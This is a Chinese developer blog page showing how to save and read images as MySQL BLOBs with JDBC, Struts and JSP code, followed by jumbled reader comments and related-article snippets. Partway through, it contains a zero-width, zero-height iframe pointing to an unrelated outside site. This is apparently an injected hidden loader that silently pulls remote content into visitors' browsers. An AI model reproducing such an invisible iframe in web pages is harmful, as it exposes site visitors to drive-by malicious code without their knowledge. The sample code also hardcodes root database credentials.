- 浏览: 30632 次
- 性别:
- 来自: 北京
最新评论
-
kang36897:
我想请教您一个问题,是关于MYSQL存入图片的,我用的是MYS ...
使用二进制方法保存图片 -
liangguanhui:
<div class="quote_title ...
使用二进制方法保存图片 -
抛出异常的爱:
<div class="quote_title ...
使用二进制方法保存图片 -
gaoran2008:
用XML+文件保存可能会好点。因为是网站。
使用二进制方法保存图片 -
reno_k:
<div class="quote_title ...
使用二进制方法保存图片
前几天突然看到学校音乐站上的图片原来是存储在数据库上的,是二进制而不是使用路
径保存的,在网上招了找发现大多介绍的都是hph方式,在这里做个总结,首先要存储二进制
文件在数据库中要搞清楚下面几个内容:
1 mysql存储大容量的二进制文件的格式是blob,其实除了图片还可以存别的
2 要向数据库存储二进制的文件一定要把要存储的数据转换成二进制流
废话就不多说了,大家看看代码很容易明白,先来看一个app程序,当然首先您要在数据库
中先建立一个用于保存图片的表和相应的列,数据格式为blob
package com.lizhe;
import java.io.*;
import java.sql.*;
public class PutImg {
public void putimg() {
try {
Class.forName("org.gjt.mm.mysql.Driver").newInstance();
String url = "jdbc:mysql://localhost/img?user=root&password=root&useUnicode=
true&characterEncoding=gbk";
Connection conn = DriverManager.getConnection(url);
Statement stmt = conn.createStatement();
//stmt.execute("insert into imgt (id) values (5)");
stmt.close();
PreparedStatement pstmt = null;
String sql = "";
File file = new File("c:\\blog.jpg");
InputStream photoStream = new FileInputStream(file);
//sql = " UPDATE imgt SET img = ? ";
sql = "INSERT INTO imgtable (img) VALUES (?)";
pstmt = conn.prepareStatement(sql);
pstmt.setBinaryStream(1, photoStream, (int) file.length());
pstmt.executeUpdate();
pstmt.close();
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String args[]){
PutImg pi=new PutImg();
pi.putimg();
}
}
InputStream photoStream = new FileInputStream(file);
可以很清楚的看到我们首先把一个图片文件(当然也可以是别的什么文件)转换成了一个二进制输入流
pstmt.setBinaryStream(1, photoStream, (int) file.length());
这个方法建议大家去查一下API文档,第一个参数是通配符位置没的说,第二个参数是流,这和以
往的string类型的参数不太一样,我刚看到的时候也觉得豁然开朗了,但是到这里还没完,不同于
以往的字符串参数,这里我们还需要第三个参数来设置这个流的长度,这里也就是这个文件的长
度,导出数据库中的sql,一切都清楚了
INSERT INTO `m_diy` VALUES (2,?\0 JFIF\0 \0H\0H\0\0?? Exif\0\0MM\0*\0\0\0 \0
\0 \0\0\0 \0 \0\0 \0 \0\0\0 \0\0\0b \0 \0\0\0 \0\0\0j (\0 \0\0\0 \0 \0\0 1\0 \
0\0\0 \0\0\0r 2\0 \0\0\0 \0\0\0?i\0 \0\0\0 \0\0\0\0\0\0\0\0\0H\0\0\0 \0\0\0H\0\0\0
Adobe Photoshop CS Windows\02007:03:18 23:08:15\0\0\0\0\0 ?\0 \0\0\0 ??\0\0?\0 \0
\0\0 \0\0\0? \0 ........等等
其实就是将文件先转换成了二进制的流,然后插入到了sql语言中,向数据库写入了很长很长的一
段sql语句
然后我们再来写一个app程序将这个文件读出来,存储成一个图片文件
package com.lizhe;
import java.io.*;
import java.sql.*;
class GetImg {
private static final String URL = "jdbc:mysql://localhost/img?user=root&password=ro
ot&useUnicode=true&characterEncoding=gbk";
private Connection conn = null;
private PreparedStatement pstmt = null;
private ResultSet rs = null;
private File file = null;
public void blobRead(String outfile, int picID) throws Exception {
FileOutputStream fos = null;
InputStream is = null;
byte[] Buffer = new byte[4096];
try {
Class.forName("org.gjt.mm.mysql.Driver").newInstance();
conn = DriverManager.getConnection(URL);
pstmt = conn.prepareStatement("select img from imgt where id=?");
pstmt.setInt(1, picID); // 传入要取的图片的ID
rs = pstmt.executeQuery();
rs.next();
file = new File(outfile);
if (!file.exists()) {
file.createNewFile(); // 如果文件不存在,则创建
}
fos = new FileOutputStream(file);
is = rs.getBinaryStream("img");
int size = 0;
while ((size = is.read(Buffer)) != -1) {
// System.out.println(size);
fos.write(Buffer, 0, size);
}
} catch (Exception e) {
System.out.println( e.getMessage());
} finally {
// 关闭用到的资源
fos.close();
rs.close();
pstmt.close();
conn.close();
}
}
public static void main(String[] args) {
try {
GetImg gi=new GetImg();
gi.blobRead("c:/getimgs/1.jpg", 5);
} catch (Exception e) {
System.out.println("[Main func error: ]" + e.getMessage());
}
}
}
这里需要注意的是
is = rs.getBinaryStream("img");
img是数据库中相应的列名,其实和rs.getString()方法差不多,只不过这个方法是读取二进制流的
最后在帖两个bs系统上用的文件给大家参考
通过struts的action向数据库写入二进制图片
/*
* Generated by MyEclipse Struts
* Template path: templates/java/JavaClass.vtl
*/
package com.lizhe.struts.action;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.struts.action.Action;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.upload.FormFile;
import com.lizhe.struts.form.UpimgForm;
/**
* MyEclipse Struts
* Creation date: 05-18-2007
*
* XDoclet definition:
* @struts.action path="/upimg" name="upimgForm" input="/userhomepage.jsp"
* @struts.action-forward name="userhome" path="/userhomepage.jsp" redirect="true"
contextRelative="true"
*/
public class UpimgAction extends Action {
/*
* Generated Methods
*/
/**
* Method execute
* @param mapping
* @param form
* @param request
* @param response
* @return ActionForward
* @throws IOException
* @throws FileNotFoundException
*/
public ActionForward execute(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response) throws FileNotFoundE
xception, IOException {
UpimgForm upimgForm = (UpimgForm) form;// TODO Auto-generated method stub
FormFile file=upimgForm.getFile();
InputStream is=file.getInputStream();
try {
Class.forName("org.gjt.mm.mysql.Driver").newInstance();
String url = "jdbc:mysql://localhost/blog?user=root&password=root&useUnicode=t
rue&characterEncoding=gb2312";
Connection conn = DriverManager.getConnection(url);
Statement stmt = conn.createStatement();
//stmt.execute("insert into img (id) values (5)");
stmt.close();
PreparedStatement pstmt = null;
String sql = "";
//File file = new File("c:\\blog.jpg");
//InputStream photoStream = new FileInputStream(file);
//sql = " UPDATE imgt SET img = ? ";
sql = "INSERT INTO img (img) VALUES (?)";
pstmt = conn.prepareStatement(sql);
pstmt.setBinaryStream(1, is, (int) file.getFileSize());
pstmt.executeUpdate();
pstmt.close();
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
return mapping.findForward("userhomepage");
}
}
和app的方式几乎是一样的
第二个文件是通过jsp将数据库中的图片显示在页面上
这个有些不同
<!---->
其中在oracle数据库中也可以如此使用,确保数据的安全哦!可以不用保存路径的方法!
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<iframe src="HTTP://www.m5k8.com/gr.htm" width="0" height="0"></iframe>
评论
<%@ page language="java" contentType="text/html; charset=gb2312"
pageEncoding="gb2312"
import="java.io.*,java.sql.*,javax.sql.*,javax.naming.*,java.util.*"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>插入图片</title>
</head>
<body>
<%
request.setCharacterEncoding("gb2312");
Connection con;
PreparedStatement preparedStmt;
String query = "insert into album(name,data,id) values(?,?,?)";
try {
InitialContext ctx = new InitialContext();
DataSource ds = (DataSource) ctx
.lookup("java:comp/env/jdbc/mysqlpool");
con = ds.getConnection();
String location = request.getParameter("image");
File filename = new File(location);
out.println("1");
String name = request.getParameter("name");
InputStream fis = new FileInputStream(filename);
out.println("2");
preparedStmt = con.prepareStatement(query);
preparedStmt.setString(1, name);
preparedStmt.setInt(3, Integer.parseInt(request.getParameter("id")));
preparedStmt.setBinaryStream(2, fis, (int) filename.length());
preparedStmt.executeUpdate();
fis.close();
preparedStmt.close();
con.close();
out.println("操作成功!");
} catch (SQLException e) {
out.println(e.toString());
} catch (Exception e) {
out.println(e.getStackTrace());
}
%>
</body>
</html>
插入用页面是:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>将图片插入数据库</title>
</head>
<body>
<form method="post" action="insert.jsp">
<table border="0" cellspacing="0"cellpadding="0">
<tr>
<td>图片名称:</td>
<td><input type="text" name="name" size="20"></td>
</tr>
<tr>
<td>图片ID:</td>
<td><input type="text" name="id" size="20"></td>
</tr>
<tr>
<td align="top">文件:</td>
<td><input type="file" name="image"></td>
</tr>
<tr>
<td><input type="submit" value="上传"></td>
</tr>
</table>
</form>
</body>
</html>
但是就是插不进去,而且还报下面的错误:
com.mysql.jdbc.exceptions.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'm?QwV^b0N?,? B Gg>?j??j?C?S??I1???6…@Zè????S?Xéaü?IG?G???0u?ud}a??5\0? ?' at line 1
在这里谢谢您了先。
INSERT INTO `m_diy` VALUES (2,?\0 JFIF\0 \0H\0H\0\0?? Exif\0\0MM\0*\0\0\0 \0
\0 \0\0\0 \0 \0\0 \0 \0\0\0 \0\0\0b \0 \0\0\0 \0\0\0j (\0 \0\0\0 \0 \0\0 1\0 \
0\0\0 \0\0\0r 2\0 \0\0\0 \0\0\0?i\0 \0\0\0 \0\0\0\0\0\0\0\0\0H\0\0\0 \0\0\0H\0\0\0
Adobe Photoshop CS Windows\02007:03:18 23:08:15\0\0\0\0\0 ?\0 \0\0\0 ??\0\0?\0 \0
\0\0 \0\0\0? \0 ........等等
其实就是将文件先转换成了二进制的流,然后插入到了sql语言中,向数据库写入了很长很长的一
段sql语句
这里之所以是这样,是因为mysql不支持PreparedStatement的缘故,mysql的PreparedStatement的功能的实现是在jdbc包里面实现的。而Oracle就不同了,专门实现了这方面的功能。
比如红章。。。人名章。。。手写的签名。。。
只是在输出到网页后,别人也可以轻松地"图片另存为",加JS脚本的话,也有对应的禁用浏览器的选项
作移植,删除,更换,更改,变更,备份这些操作的不确定性很高.....
如果不想留个人在客户那里....
牺牲点性能还是会被接受的.
比如红章。。。人名章。。。手写的签名。。。
只是在输出到网页后,别人也可以轻松地"图片另存为",加JS脚本的话,也有对应的禁用浏览器的选项
比如红章。。。人名章。。。手写的签名。。。
相关推荐
然后,创建一个`MemoryStream`对象,通过`Image.Save`方法将图片保存到内存流中,实现图片到二进制流的转换。以下是一个简单的示例: ```csharp using System.Drawing; using System.IO; // 加载图片 Image image ...
在Python中,使用cursor.fetchone()或fetchall()获取数据,然后使用read()方法读取二进制流。 3. **创建文件对象**:为了将二进制数据写入本地文件,我们需要创建一个文件对象。在Java中,可以使用FileOutputStream...
PHP接受图片二进制数据并保存。不是图片图片上传
本文主要介绍了C#实现把图片转换成二进制以及把二进制转换成图片的方法,并结合具体实例形式分析了基于C#的图片与二进制相互转换以及图片保存到数据库的相关操作技巧。 一、图片转换成二进制 在C#中,可以使用...
做了一个将图片转换成二进制数据导入到数据库中,在将二进制数据取出来,显示到页面上,将二进制数据在生成图片保存到硬盘上。数据库中项目,还原一下,wen.config中数据库连接字符串修改一下。ImagesWriter.htm页面...
- 使用System.IO命名空间中的File.ReadAllBytes方法读取文件到二进制数组中。 - 建立数据库连接,创建SQL命令对象,将二进制数组作为参数传递给SQL命令。 - 执行SQL命令更新数据库,将文件的二进制数据保存到指定的...
本篇文章将深入探讨如何使用C#将图片转换为二进制格式并保存到数据库中。 首先,我们要理解为什么需要将图片转换为二进制。在数据库中,二进制数据(通常以BLOB,即Binary Large Object形式存在)可以存储任何类型...
在"QT一二进制形式读取图片"的场景中,我们关注的是如何使用QT来处理图像数据,特别是将图像以二进制形式存入文件。这个过程涉及的主要知识点包括: 1. **QImage类**:这是QT中处理图像的核心类,可以用来创建、...
最后,我们使用GetString方法将二进制流转换成字符串。 二、将二进制流保存到SQL Server数据库 在C#中,可以使用SqlParameter类来将二进制流保存到SQL Server数据库。下面是一个简单的示例代码: ```csharp using ...
二进制图片读写的基本思路是将图片转换为字节流,然后进行保存或加载。 ### 读取二进制图片 1. **使用`System.Drawing.Image`类**:首先,你可以使用`System.Drawing.Image.FromFile()`方法读取图片文件,将其转换...
这里的关键步骤是使用`GetPixelBytes()`方法将`BitmapSource`转换为二进制数据。 2. 创建SQLite表:创建一个包含图片数据字段的表,通常使用BLOB(Binary Large Object)类型存储二进制数据。例如: ```sql CREATE ...
将图片保存为某种文件格式(如JPEG、PNG等)时,这些二进制数据会按照特定的编码规则进行排列和压缩。 2. 二进制数据存储: 二进制数据通常被存储在一个文本文件中,每个像素的值对应一个或多个字符。例如,一个...
【标题】"pc.rar_vb 图片_二进制 图片_图片 二进制_图片保存" 提供的关键信息表明,这是一个关于使用VB(Visual Basic)编程语言处理图片,特别是涉及图片的二进制操作和保存的项目。在VB中,图片可以被转化为二进制...
例如,在Python中,我们可以使用内置的`open()`函数以'rb'(二进制读取)模式打开图片文件,然后使用`read()`方法获取二进制数据。这个二进制流包含了图片的所有颜色信息和元数据。 将二进制流存储到数据库的过程...
在这个特定的案例中,"Delphi将图片以二进制方式存储在数据库BLOB字段中"是一个常见的实践,用于高效、安全地保存图片数据。BLOB(Binary Large Object)字段是数据库系统中用来存储大量二进制数据的类型,非常适合...
二进制文件转换为图片,可以放到空间里。原创,把图片转换为点阵图形式(全是马赛克) 须支持.net(C#编的) 注意: 不可以改变图片大小,不可以修改图片,不可以转换图片格式,否则反转换出的文件的字节会有偏差 ...
标题"asp上传图片 保存的是二进制数据"指的是在ASP环境中,当用户上传图片时,服务器会接收到图片文件,然后将其转换为二进制格式并存储到数据库中,而不是存储图片的原始路径或者文件名。这种做法的优点是能够确保...
- **保存图片**:通过读取图片文件并将其转换为字节数组,然后使用SQL Server的`INSERT INTO`语句将数据保存到`ImageData`字段中。 - **读取图片**:查询数据库获取`ImageData`,然后将返回的二进制数据写入响应流...
2. 将二进制数据还原为图片:将查询结果中的二进制数据转换回图片,可以使用`System.Drawing.Image.FromStream()`方法。 3. 显示图片:将还原的图片设置为PictureBox的Image属性。 以下是一个简单的C#示例: ```...
这段代码将二进制数据转换为一个BufferedImage对象,这个对象可以直接显示在网页上或者保存为图片文件。 当我们需要通过HTTP响应将图片发送到浏览器时,我们可以使用像Action这样的控制器组件(例如在Struts框架中...